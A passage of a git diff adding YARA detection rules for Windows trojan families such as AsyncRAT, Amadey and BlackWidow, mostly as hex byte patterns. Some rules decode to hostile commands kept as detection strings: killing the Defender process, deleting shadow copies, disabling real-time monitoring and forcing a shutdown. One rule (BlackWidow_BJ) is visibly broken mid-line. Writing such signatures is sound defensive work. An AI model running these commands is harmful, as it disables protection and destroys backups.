45 00 45 00 34 00 46 00 } //1 tox:3820C40404684FFD4496CA1DA2F608374E60D1EA4628296D2AD1C31FE787EE4F + $a_02_1 = {33 38 32 30 43 34 30 34 30 34 36 38 34 46 46 44 34 34 39 36 43 41 31 44 41 32 46 36 30 38 33 37 34 45 36 30 44 31 45 41 34 36 32 38 32 39 36 44 32 41 44 31 43 33 31 46 45 37 38 37 45 45 34 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {33 38 32 30 43 34 30 34 30 34 36 38 34 46 46 44 34 34 39 36 43 41 31 44 41 32 46 36 30 38 33 37 34 45 36 30 44 31 45 41 34 36 32 38 32 39 36 44 32 41 44 31 43 33 31 46 45 37 38 37 45 45 34 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 33 38 32 30 43 34 30 34 30 34 36 38 34 46 46 44 34 34 39 36 43 41 31 44 41 32 46 36 30 38 33 37 34 45 36 30 44 31 45 41 34 36 32 38 32 39 36 44 32 41 44 31 43 33 31 46 45 37 38 37 45 45 34 46 2e 68 73 74 72 } //1 \tox\3820C40404684FFD4496CA1DA2F608374E60D1EA4628296D2AD1C31FE787EE4F.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KN.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KN.yar new file mode 100644 index 0000000000..9d35bb1876 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KN.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KN{ + meta: + description = "Trojan:Win64/AbuseCommMain.KN,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 33 00 32 00 31 00 43 00 44 00 38 00 45 00 36 00 35 00 45 00 46 00 33 00 38 00 41 00 42 00 45 00 45 00 45 00 45 00 31 00 39 00 30 00 41 00 36 00 35 00 33 00 30 00 37 00 42 00 34 00 37 00 41 00 43 00 38 00 30 00 44 00 30 00 38 00 38 00 43 00 41 00 44 00 37 00 31 00 31 00 30 00 45 00 45 00 38 00 42 00 32 00 37 00 30 00 38 00 45 00 34 00 33 00 31 00 35 00 30 00 33 00 31 00 32 00 42 00 } //1 tox:321CD8E65EF38ABEEEE190A65307B47AC80D088CAD7110EE8B2708E43150312B + $a_02_1 = {33 32 31 43 44 38 45 36 35 45 46 33 38 41 42 45 45 45 45 31 39 30 41 36 35 33 30 37 42 34 37 41 43 38 30 44 30 38 38 43 41 44 37 31 31 30 45 45 38 42 32 37 30 38 45 34 33 31 35 30 33 31 32 42 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {33 32 31 43 44 38 45 36 35 45 46 33 38 41 42 45 45 45 45 31 39 30 41 36 35 33 30 37 42 34 37 41 43 38 30 44 30 38 38 43 41 44 37 31 31 30 45 45 38 42 32 37 30 38 45 34 33 31 35 30 33 31 32 42 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 33 32 31 43 44 38 45 36 35 45 46 33 38 41 42 45 45 45 45 31 39 30 41 36 35 33 30 37 42 34 37 41 43 38 30 44 30 38 38 43 41 44 37 31 31 30 45 45 38 42 32 37 30 38 45 34 33 31 35 30 33 31 32 42 2e 68 73 74 72 } //1 \tox\321CD8E65EF38ABEEEE190A65307B47AC80D088CAD7110EE8B2708E43150312B.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KO.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KO.yar new file mode 100644 index 0000000000..c27bcc7f3e --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_KO.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_KO{ + meta: + description = "Trojan:Win64/AbuseCommMain.KO,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 38 00 34 00 34 00 39 00 30 00 31 00 35 00 32 00 45 00 39 00 39 00 42 00 39 00 45 00 43 00 34 00 42 00 43 00 46 00 45 00 31 00 36 00 30 00 38 00 30 00 41 00 46 00 43 00 46 00 44 00 36 00 46 00 44 00 43 00 44 00 38 00 37 00 35 00 31 00 32 00 30 00 32 00 37 00 45 00 38 00 35 00 44 00 42 00 33 00 31 00 38 00 46 00 37 00 42 00 33 00 34 00 34 00 30 00 39 00 38 00 32 00 36 00 33 00 37 00 } //1 tox:84490152E99B9EC4BCFE16080AFCFD6FDCD87512027E85DB318F7B3440982637 + $a_02_1 = {38 34 34 39 30 31 35 32 45 39 39 42 39 45 43 34 42 43 46 45 31 36 30 38 30 41 46 43 46 44 36 46 44 43 44 38 37 35 31 32 30 32 37 45 38 35 44 42 33 31 38 46 37 42 33 34 34 30 39 38 32 36 33 37 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {38 34 34 39 30 31 35 32 45 39 39 42 39 45 43 34 42 43 46 45 31 36 30 38 30 41 46 43 46 44 36 46 44 43 44 38 37 35 31 32 30 32 37 45 38 35 44 42 33 31 38 46 37 42 33 34 34 30 39 38 32 36 33 37 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 38 34 34 39 30 31 35 32 45 39 39 42 39 45 43 34 42 43 46 45 31 36 30 38 30 41 46 43 46 44 36 46 44 43 44 38 37 35 31 32 30 32 37 45 38 35 44 42 33 31 38 46 37 42 33 34 34 30 39 38 32 36 33 37 2e 68 73 74 72 } //1 \tox\84490152E99B9EC4BCFE16080AFCFD6FDCD87512027E85DB318F7B3440982637.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AgentWinDis/Trojan_Win64_AgentWinDis_PA_MTB.yar b/Trojan/Win64/AgentWinDis/Trojan_Win64_AgentWinDis_PA_MTB.yar new file mode 100644 index 0000000000..ef83987588 --- /dev/null +++ b/Trojan/Win64/AgentWinDis/Trojan_Win64_AgentWinDis_PA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AgentWinDis_PA_MTB{ + meta: + description = "Trojan:Win64/AgentWinDis.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {74 61 73 6b 6b 69 6c 6c 20 2f 66 20 2f 69 6d 20 4d 73 4d 70 45 6e 67 2e 65 78 65 20 3e 6e 75 6c 20 32 3e 26 31 } //1 taskkill /f /im MsMpEng.exe >nul 2>&1 + $a_01_1 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 20 3e 6e 75 6c 20 32 3e 26 31 } //2 vssadmin delete shadows /all /quiet >nul 2>&1 + $a_01_2 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 63 6f 6d 6d 61 6e 64 20 22 53 65 74 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 44 69 73 61 62 6c 65 52 65 61 6c 74 69 6d 65 4d 6f 6e 69 74 6f 72 69 6e 67 20 24 74 72 75 65 } //1 powershell -command "Set-MpPreference -DisableRealtimeMonitoring $true + $a_01_3 = {73 68 75 74 64 6f 77 6e 20 2f 73 20 2f 66 20 2f 74 20 30 20 2f 63 20 22 57 69 6e 64 6f 77 73 20 55 70 64 61 74 65 } //1 shutdown /s /f /t 0 /c "Windows Update + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/Agentb/Trojan_Win64_Agentb_GDI_MTB.yar b/Trojan/Win64/Agentb/Trojan_Win64_Agentb_GDI_MTB.yar new file mode 100644 index 0000000000..6e825cd265 --- /dev/null +++ b/Trojan/Win64/Agentb/Trojan_Win64_Agentb_GDI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Agentb_GDI_MTB{ + meta: + description = "Trojan:Win64/Agentb.GDI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {fe 63 c8 62 49 8b c8 49 8b c1 49 f7 e0 49 ff c0 48 c1 ea 03 48 8d 04 d2 48 2b c8 8a 44 0c 50 42 30 44 04 77 49 83 f8 10 } //5 + $a_03_1 = {33 c9 89 5c 24 ?? 83 64 24 ?? 00 ff 15 ?? ?? ?? ?? 85 c0 0f 84 ?? ?? ?? ?? 48 8b 4c 24 ?? 4c 8d 4d ?? 48 8d 95 ?? ?? ?? ?? 45 33 c0 89 5c 24 ?? c7 44 24 ?? 00 30 00 00 ff 15 } //5 + condition: + ((#a_01_0 & 1)*5+(#a_03_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Alevaul/Trojan_Win64_Alevaul_DA_MTB.yar b/Trojan/Win64/Alevaul/Trojan_Win64_Alevaul_DA_MTB.yar new file mode 100644 index 0000000000..2087bdc7d8 --- /dev/null +++ b/Trojan/Win64/Alevaul/Trojan_Win64_Alevaul_DA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Alevaul_DA_MTB{ + meta: + description = "Trojan:Win64/Alevaul.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 0b b8 1f 85 eb 51 f7 e9 c1 fa 03 8b c2 c1 e8 1f 03 d0 6b c2 19 2b c8 80 c1 41 88 0b 48 ff c3 49 ff c9 } //10 + $a_01_1 = {44 89 4c 24 60 44 89 54 24 64 48 8b ce 49 8b c0 48 f7 e1 48 8b c1 48 ff c1 48 c1 ea 02 48 6b d2 0d 48 2b c2 8a 44 05 88 30 44 0c 5f 48 83 f9 13 } //10 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Alevaul/Trojan_Win64_Alevaul_DB_MTB.yar b/Trojan/Win64/Alevaul/Trojan_Win64_Alevaul_DB_MTB.yar new file mode 100644 index 0000000000..a9d46f5639 --- /dev/null +++ b/Trojan/Win64/Alevaul/Trojan_Win64_Alevaul_DB_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_Alevaul_DB_MTB{ + meta: + description = "Trojan:Win64/Alevaul.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 00 " + + strings : + $a_01_0 = {0f b6 f8 42 0f b6 54 17 08 8d 04 16 0f b6 f0 42 8a 44 16 08 42 88 44 17 08 42 88 54 16 08 42 0f b6 4c 17 08 03 ca 81 e1 ff 00 00 80 } //10 + $a_01_1 = {41 0f b6 c9 44 88 4c 04 38 8b c2 0f b6 44 04 38 03 c1 25 ff 00 00 80 } //10 + $a_01_2 = {0f b6 d8 41 0f b6 14 18 8d 04 17 0f b6 f8 0f b6 04 39 41 88 04 18 88 14 39 41 0f b6 04 18 03 c2 25 ff 00 00 80 } //10 + $a_01_3 = {48 63 c1 42 8a 4c 10 08 42 32 0c 1b 41 88 0b 49 ff c3 49 ff c9 } //5 + $a_01_4 = {48 63 c8 49 ff c3 0f b6 44 0c 38 41 32 43 ff 48 ff c3 88 43 ff c7 84 24 50 01 00 00 98 b4 01 00 } //5 + $a_01_5 = {48 63 c8 49 ff c1 0f b6 44 0c 18 43 32 44 0b ff 41 88 41 ff 49 ff ca } //5 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*5+(#a_01_4 & 1)*5+(#a_01_5 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win64/Alevaul/Trojan_Win64_Alevaul_GDI_MTB.yar b/Trojan/Win64/Alevaul/Trojan_Win64_Alevaul_GDI_MTB.yar new file mode 100644 index 0000000000..1a1dd50fcb --- /dev/null +++ b/Trojan/Win64/Alevaul/Trojan_Win64_Alevaul_GDI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Alevaul_GDI_MTB{ + meta: + description = "Trojan:Win64/Alevaul.GDI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_03_0 = {42 99 5c 69 a4 f2 ?? ?? ?? ?? 37 7b 00 22 58 00 b2 } //5 + $a_03_1 = {48 8d 5c 24 ?? 49 83 f8 10 48 0f 43 5c 24 ?? 48 ff c1 e8 ?? ?? ?? ?? 4c 8b d8 48 8b d0 48 2b d3 0f b6 0b 88 0c 1a 48 8d 5b ?? 84 c9 ?? ?? 44 8b d7 41 0f b7 5f ?? 48 85 db } //5 + $a_03_2 = {49 03 f9 49 03 d1 3b c0 75 30 33 c9 8a 1a 84 db ?? ?? d1 c1 69 c1 f2 6d 00 00 80 fb 61 0f b6 cb 89 44 24 20 8d 43 e0 0f b6 c0 0f 43 c8 30 4c 24 20 8b 4c 24 20 48 ff c2 } //10 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5+(#a_03_2 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Amadey/Trojan_Win64_Amadey_ADZM_MTB.yar b/Trojan/Win64/Amadey/Trojan_Win64_Amadey_ADZM_MTB.yar new file mode 100644 index 0000000000..8485c93100 --- /dev/null +++ b/Trojan/Win64/Amadey/Trojan_Win64_Amadey_ADZM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Amadey_ADZM_MTB{ + meta: + description = "Trojan:Win64/Amadey.ADZM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 8b 1b 48 83 7c 24 ?? ?? 48 8d 54 24 ?? 4c 8b c3 48 c7 44 24 ?? ?? ?? ?? ?? 48 0f 47 54 24 ?? 45 33 c9 33 c9 e8 ?? ?? ?? ?? 48 8b 54 24 ?? 8b d8 c1 eb 1f 80 f3 01 48 83 fa 07 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Amadey/Trojan_Win64_Amadey_AMA_MTB.yar b/Trojan/Win64/Amadey/Trojan_Win64_Amadey_AMA_MTB.yar new file mode 100644 index 0000000000..b1fb0a8259 --- /dev/null +++ b/Trojan/Win64/Amadey/Trojan_Win64_Amadey_AMA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Amadey_AMA_MTB{ + meta: + description = "Trojan:Win64/Amadey.AMA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {48 98 48 01 d0 0f b6 00 32 45 20 89 c1 48 8b 55 28 8b 45 fc 48 98 48 01 d0 88 08 8b 4d fc } //2 + $a_03_1 = {48 98 48 01 d0 88 08 8b 4d fc 48 63 c1 48 69 c0 ?? ?? ?? ?? 48 c1 e8 20 48 89 c2 89 c8 c1 f8 1f 29 c2 89 d0 01 c0 01 d0 29 c1 89 ca 85 d2 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/ApolloShadow/Trojan_Win64_ApolloShadow_A_dha.yar b/Trojan/Win64/ApolloShadow/Trojan_Win64_ApolloShadow_A_dha.yar new file mode 100644 index 0000000000..bb7ad2dc71 --- /dev/null +++ b/Trojan/Win64/ApolloShadow/Trojan_Win64_ApolloShadow_A_dha.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_ApolloShadow_A_dha{ + meta: + description = "Trojan:Win64/ApolloShadow.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {74 00 69 00 6d 00 65 00 73 00 74 00 61 00 6d 00 70 00 2e 00 64 00 69 00 67 00 69 00 63 00 65 00 72 00 74 00 2e 00 63 00 6f 00 6d 00 } //1 timestamp.digicert.com + $a_01_1 = {2f 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 65 00 64 00 } //1 /registered + $a_01_2 = {63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 66 00 20 00 2d 00 45 00 6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 20 00 2d 00 61 00 64 00 64 00 73 00 74 00 6f 00 72 00 65 00 } //1 certutil.exe -f -Enterprise -addstore + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRAT_ARA_MTB.yar b/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRAT_ARA_MTB.yar index 28a0233add..0a0674d11c 100644 --- a/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRAT_ARA_MTB.yar +++ b/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRAT_ARA_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win64_AsyncRAT_ARA_MTB{ + meta: + description = "Trojan:Win64/AsyncRAT.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {48 8b 45 e8 48 89 c1 48 83 c0 01 48 89 45 e8 eb d9 48 8b 45 e8 48 8b 4d f0 48 01 c1 48 8b 45 e8 48 8b 55 10 48 01 c2 0f be 02 8b 55 18 31 d0 88 01 eb cd } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Trojan_Win64_AsyncRAT_ARA_MTB_2{ meta: description = "Trojan:Win64/AsyncRAT.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " diff --git a/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRAT_NA_MTB.yar b/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRAT_NA_MTB.yar new file mode 100644 index 0000000000..cefc430d89 --- /dev/null +++ b/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRAT_NA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_AsyncRAT_NA_MTB{ + meta: + description = "Trojan:Win64/AsyncRAT.NA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 54 24 68 48 89 94 24 b0 00 00 00 48 c7 84 24 c8 00 00 00 08 00 00 00 48 8d 15 a1 66 02 00 48 89 94 24 c0 00 00 00 } //2 + $a_01_1 = {4c 8d 0d e4 5e 02 00 4c 89 8c 24 f0 00 00 00 48 89 94 24 08 01 00 00 4c 89 84 24 00 01 00 00 48 8d 05 e5 63 02 00 bb 07 00 00 00 48 8d 8c 24 f0 00 00 00 bf 02 00 00 00 48 89 fe e8 b6 b3 ff ff } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRat_CCJX_MTB.yar b/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRat_CCJX_MTB.yar new file mode 100644 index 0000000000..3d1af72314 --- /dev/null +++ b/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRat_CCJX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_AsyncRat_CCJX_MTB{ + meta: + description = "Trojan:Win64/AsyncRat.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {33 d2 48 8b c7 49 f7 f6 49 8d 0c 39 41 0f b6 04 0a 42 32 04 02 88 01 48 ff c7 49 3b fd 72 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRat_CCJY_MTB.yar b/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRat_CCJY_MTB.yar new file mode 100644 index 0000000000..940f9da038 --- /dev/null +++ b/Trojan/Win64/AsyncRAT/Trojan_Win64_AsyncRat_CCJY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_AsyncRat_CCJY_MTB{ + meta: + description = "Trojan:Win64/AsyncRat.CCJY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 00 " + + strings : + $a_03_0 = {41 83 f1 85 45 88 4c 1b ff 48 ff c0 4c 89 de 48 39 05 ad e7 0f 00 7e ?? 4c 8b 0d 9c e7 0f 00 4c 8d 5e 01 45 0f b6 0c 01 4c 39 d9 73 } //6 + condition: + ((#a_03_0 & 1)*6) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/BadJoke/Trojan_Win64_BadJoke_KK_MTB.yar b/Trojan/Win64/BadJoke/Trojan_Win64_BadJoke_KK_MTB.yar new file mode 100644 index 0000000000..1e63ab6d33 --- /dev/null +++ b/Trojan/Win64/BadJoke/Trojan_Win64_BadJoke_KK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_BadJoke_KK_MTB{ + meta: + description = "Trojan:Win64/BadJoke.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_01_0 = {48 8b c1 83 e0 03 42 0f b6 04 30 30 04 0b 48 ff c1 8b 44 24 48 48 3b c8 72 } //20 + $a_01_1 = {66 31 18 48 83 c0 02 48 3b c2 75 f4 } //10 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win64/Barys/Trojan_Win64_Barys_NB_MTB.yar b/Trojan/Win64/Barys/Trojan_Win64_Barys_NB_MTB.yar index e453283127..4277c61b8a 100644 --- a/Trojan/Win64/Barys/Trojan_Win64_Barys_NB_MTB.yar +++ b/Trojan/Win64/Barys/Trojan_Win64_Barys_NB_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win64_Barys_NB_MTB{ + meta: + description = "Trojan:Win64/Barys.NB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {8b 07 09 c0 74 4a 8b 5f 04 48 8d 8c 30 ?? ?? ?? ?? 48 01 f3 48 83 c7 08 ff 15 60 0b 00 00 48 95 } //3 + $a_01_1 = {48 89 f9 48 89 fa ff c8 f2 ae 48 89 e9 ff 15 52 0b 00 00 48 09 c0 74 09 } //1 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} +rule Trojan_Win64_Barys_NB_MTB_2{ meta: description = "Trojan:Win64/Barys.NB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " diff --git a/Trojan/Win64/BazarLoader/Trojan_Win64_BazarLoader_ABZR_MTB.yar b/Trojan/Win64/BazarLoader/Trojan_Win64_BazarLoader_ABZR_MTB.yar new file mode 100644 index 0000000000..4619afcfe6 --- /dev/null +++ b/Trojan/Win64/BazarLoader/Trojan_Win64_BazarLoader_ABZR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_BazarLoader_ABZR_MTB{ + meta: + description = "Trojan:Win64/BazarLoader.ABZR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 fc 83 c0 01 99 c1 ea 18 01 d0 0f b6 c0 29 d0 89 45 fc 8b 45 fc 48 63 d0 48 8b 45 20 48 01 d0 0f b6 00 0f b6 d0 8b 45 f8 01 d0 99 c1 ea 18 01 d0 0f b6 c0 29 d0 89 45 f8 8b 45 fc 48 63 d0 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BG_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BG_MTB.yar new file mode 100644 index 0000000000..a83477a1ed --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BG_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_BlackWidow_BG_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.BG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {48 31 d2 49 f7 f6 45 8a 2c 11 } //1 + $a_01_1 = {49 f7 e3 49 01 c7 } //1 + $a_01_2 = {44 30 2c 0f } //1 い༬ + $a_01_3 = {79 47 37 42 5e 3e 53 57 78 31 35 32 33 59 29 32 75 2b } //2 yG7B^>SWx1523Y)2u+ + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BH_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BH_MTB.yar new file mode 100644 index 0000000000..b985a559a5 --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BH_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_BlackWidow_BH_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.BH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {48 89 c8 c5 e5 71 f3 07 c4 e3 fd 00 f6 d8 c4 e3 fd 00 ff d8 } //1 + $a_01_1 = {45 8a 14 10 } //1 + $a_01_2 = {4c 8b 45 f8 } //1 + $a_01_3 = {57 32 42 78 35 24 4b 29 55 66 77 51 75 6b 2b 44 74 5e 4c 42 } //2 W2Bx5$K)UfwQuk+Dt^LB + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BI_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BI_MTB.yar new file mode 100644 index 0000000000..1cc0fb0cf5 --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_BlackWidow_BI_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.BI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {45 8a 1c 11 } //1 + $a_01_1 = {44 30 1c 0f } //1 い༜ + $a_01_2 = {47 64 36 5e 70 48 62 4d 61 49 6d 38 34 64 4b 3f 43 4c 78 5e 46 } //3 Gd6^pHbMaIm84dK?CLx^F + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BJ_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BJ_MTB.yar new file mode 100644 index 0000000000..7f9f732b6f --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BJ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_BlackWidow_BJ_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.BJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {49 f7 f2 48 83 c2 03 45 8a 5c 15 } //1 + $a_01_1 = {44 30 1c 0f } //1 い༜ + $a_01_2 = {37 3c 4a 59 78 6a 21 4b } //3 7=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BLL_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BLL_MTB.yar new file mode 100644 index 0000000000..2de653443e --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BLL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_BlackWidow_BLL_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.BLL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {66 0f 6f c1 66 0f 61 ca 44 30 14 0f 66 0f 38 30 ?? 66 0f 38 1d ?? 66 0f 38 1d e0 66 0f 6c ca } //5 + $a_03_1 = {66 0f 6d da 66 0f 6c d3 48 89 c8 66 0f 6c ?? 66 0f 62 c2 } //4 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BLW_MTB.yar 